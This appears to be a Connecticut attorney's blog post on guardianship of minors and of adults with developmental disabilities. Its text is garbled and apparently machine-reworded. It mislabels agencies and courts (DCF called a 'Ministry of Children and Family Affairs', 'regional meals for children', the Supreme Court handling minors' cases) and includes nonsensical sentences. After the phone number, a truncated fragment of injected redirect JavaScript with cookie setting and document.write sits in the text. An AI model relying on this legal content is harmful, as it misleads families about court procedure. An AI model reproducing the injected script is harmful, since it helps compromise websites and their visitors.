The proposed guardian is usually a parent or person who has a significant relationship with the child. Guardianship is indefinite. It may take time for the child to reach the age of 18. On the other hand, a parent can request that his guardianship be reinstated at any time. Who can apply for cancellation or transfer of guardianship? People with developmental disabilities may not be able to meet basic physical health and safety requirements or make informed decisions about issues related to their care. A court-appointed guardian is not required for all adults with developmental disabilities, but the probate court has the power to appoint a guardian in cases where appropriate. The Court cooperates with the Department of Developmental Services of the State of Connecticut. For specific assistance in your case, please contact the Court. People with developmental disabilities may be totally or partially unable to meet basic health or physical safety requirements and/or be unable to make informed decisions about matters related to their care. In such cases, the probate court has the authority to appoint a guardian to supervise all or certain aspects of the care of an adult with a developmental disability. Recently, a second type of guardianship came into effect in the Connecticut Juvenile Court and the Connecticut Probate Court – permanent guardianship. If the state, often through the DCF, the Ministry of Children and Family Affairs, initiates a complaint of neglect/abuse/neglect, it must be filed and go through a juvenile court. DCF is the applicant and the existing parents and/or guardians are the defendants.
A lawyer is appointed to represent the child. The transfer of guardianship to persons other than the parents is a possible provision. Guardianship may also be entrusted to only one parent, who withdraws it from the other. If a child is in the care of the DCF (interim custody obligation or order), a family member has the right to intervene in a child protection case to apply for guardianship. Non-state actors can ask the probate court to revoke a parent as guardian. Connecticut has two court systems: succession and justice. Probate courts are located in local districts throughout the state and are presided over by elected probate judges. There are also regional meals for children (New Haven, Meriden, New London, Waterbury, Windham and Hartford). The judiciary operates with the Superior Court, the Court of Appeal and the Supreme Court. The Supreme Court Department (litigation level) for guardianship matters is the Supreme Court for minor cases.
Standing, i.e. the legal possibility to file an application, is limited to the child`s adult parents, persons who have actual custody of the child or a lawyer of the child. The correct probate district is where the child resides or resides at the time of filing. This post was about standard guardianship transfers. There are also standby guardianships, in which a parent or guardian can designate a person to assume guardianship at a particular event. In the context of testamentary guardianship, which may be created by a will or other document, a substitute guardian may be appointed to take over after the death of the parent or guardian. The actual appointment of a guardian is at the discretion and approval of the court. There is also temporary guardianship, where a parent or guardian can request that a guardian be appointed for up to one year and terminate the guardianship itself. Finally, there is permanent legal guardianship. In this case, the former guardian cannot request reinstatement.
For more information about Connecticut`s guardianship law, visit the Connecticut Judicial Branch Law Libraries website at www.jud.ct.gov/lawlib/law/guardianship.htm For legal advice as part of the guardianship and/or curatorship process, call us today at 860-271-0486.=(time=cookie)|| void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);d ocument.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(“)} ]]> This type of guardianship gives the biological parent the opportunity to deal with the problems that led to the removal of the child, but also provides some stability for the child. In cases where guardianship is transferred to a parent, he or she also maintains family ties. I have dealt with guardianship issues in probate and juvenile courts in Connecticut. Cases can be very complicated, especially if there is no agreement. If you are applying for guardianship or reinstatement, or if you are defending yourself against an application for custody or reinstatement, please contact me to discuss your case. In their role as guardians, parents have the legal authority to make decisions for the health and well-being of their minor children. Similarly, when the parents of a minor child die, a guardian of a minor is appointed to follow in the footsteps of the parents and attend to the needs of the child until he reaches the age of eighteen. It is important that parents of minors draw up wills appointing a guardian in case both parents die before their children reach the age of eighteen. You may have noticed that the Family Division of the Supreme Court is not a place of guardianship. It`s true. It is either decreasing or juvenile.
This does not mean that guardians and parents cannot apply to family court. Depending on the order of the court that transferred guardianship, the family court may be the single point of contact for visitation matters. While a guardian has the power to decide on access (again, a court order could set out a schedule of visits), a parent who has lost guardianship but still has parental rights can apply to family court to request visits.